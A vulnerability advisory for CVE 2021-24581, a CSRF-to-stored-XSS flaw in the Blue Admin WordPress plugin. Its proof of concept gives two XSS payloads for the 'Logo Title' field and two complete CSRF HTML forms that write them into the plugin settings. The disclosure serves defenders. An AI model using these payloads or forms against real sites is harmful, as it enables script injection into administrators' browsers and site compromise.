Blue Admin <= 21.06.01 – CSRF to Stored Cross-Site Scripting (XSS) | CVE 2021-24581

Description

The plugin does not sanitise or escape its "Logo Title" setting before outputting in a page, leading to a Stored Cross-Site Scripting issue. Furthermore, the plugin does not have CSRF check in place when saving its settings, allowing the issue to be exploited via a CSRF attack.

Proof of Concept

Add the following payload in the 'logo title' setting of the Login Page tab (/wp-admin/admin.php?page=blue-admin&tab=blue_admin_login_page, the Login Page extension must be active):
- v < 21.06.01: "><script>alert(/XSS/)</script>
- v <= 21.06.01: " style=animation-name:rotation onanimationstart=alert(/XSS/)//

Via CSRF:

v < 21.06.01

<html>
  <body>
    <form action="http://example.com/wp-admin/admin.php?page=blue-admin&tab=blue_admin_login_page" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="ba_lp_attr[fm_bg_color]" value="FFFFFF" />
      <input type="hidden" name="ba_lp_attr[fm_color]" value="777777" />
      <input type="hidden" name="ba_lp_attr[logo_text]" value='WP"><script>alert(/XSS/)</script>' />
      <input type="hidden" name="ba_lp_attr[logo_url]" value="https://example.com" />
      <input type="hidden" name="ba_lp_attr[logo_img]" value="" />
      <input type="hidden" name="ba_lp_attr[bg_color]" value="EEEEEE" />
      <input type="hidden" name="ba_lp_attr[text_color]" value="222222" />
      <input type="hidden" name="ba_lp_attr[bg_img]" value="" />
      <input type="hidden" name="ba_lp_attr[bg_img_pos]" value="" />
      <input type="hidden" name="ba_lp_attr[bg_img_rep]" value="" />
      <input type="hidden" name="ba_lp_options_save" value="Save changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

v <= 21.06.01

<html>
  <body>
    <form action="http://example.com/wp-admin/admin.php?page=blue-admin&tab=blue_admin_login_page" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="ba_lp_attr[fm_bg_color]" value="FFFFFF" />
      <input type="hidden" name="ba_lp_attr[fm_color]" value="777777" />
      <input type="hidden" name="ba_lp_attr[logo_text]" value='" style=animation-name:rotation onanimationstart=alert(/XSS/)//' />
      <input type="hidden" name="ba_lp_attr[logo_url]" value="https://example.com" />
      <input type="hidden" name="ba_lp_attr[logo_img]" value="" />
      <input type="hidden" name="ba_lp_attr[bg_color]" value="EEEEEE" />
      <input type="hidden" name="ba_lp_attr[text_color]" value="222222" />
      <input type="hidden" name="ba_lp_attr[bg_img]" value="" />
      <input type="hidden" name="ba_lp_attr[bg_img_pos]" value="" />
      <input type="hidden" name="ba_lp_attr[bg_img_rep]" value="" />
      <input type="hidden" name="ba_lp_options_save" value="Save changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>